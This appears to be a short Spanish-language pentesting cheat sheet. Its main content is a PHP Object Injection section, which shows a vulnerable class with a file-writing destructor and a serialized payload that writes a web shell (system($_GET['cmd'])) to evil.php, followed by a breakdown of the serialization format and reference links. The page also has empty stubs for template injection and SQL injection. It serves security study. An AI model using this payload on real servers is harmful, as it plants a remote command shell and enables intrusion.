Server-Side Template Injection
TODO
PHP Object Injection
Código
class foobarzoo {
public $csv="entries.csv";
public $line=null;
function __destruct() {
file_put_contents($this->csv,$this->line);
}
}
Payload de explotación
data=O:9:"foobarzoo":2:{s:3:"csv";s:8:"evil.php";s:4:"line";s:28:"<?php system($_GET["cmd"])?>";}
Donde en O:9:"foobarzoo":2:
:
- O
→ tipo de dato (objeto).
- 0
→ longitud dato.
- 2
→ cantidad de propiedades.
Donde en s:3:"csv";s:8:"evil.php"
:
- s
→ tipo de dato (string).
- 3
→ longitud dato.
- csv
→ nombre de propiedad.
- evil.php
→ valor de propiedad.
Referencias
- https://insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf
- https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
- https://nitesculucian.github.io/2018/10/05/php-object-injection-cheat-sheet/
- https://security.stackexchange.com/questions/176263/why-does-this-php-object-injection-exploit-work
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/628481cd4d9c9f7db980a6a92c446d22c26a4aad/Insecure%20Deserialization/PHP.md
SQL
sqlmap
https://teckk2.github.io/web-pentesting/2018/02/07/SQL-Injection-(Login-Form-User).html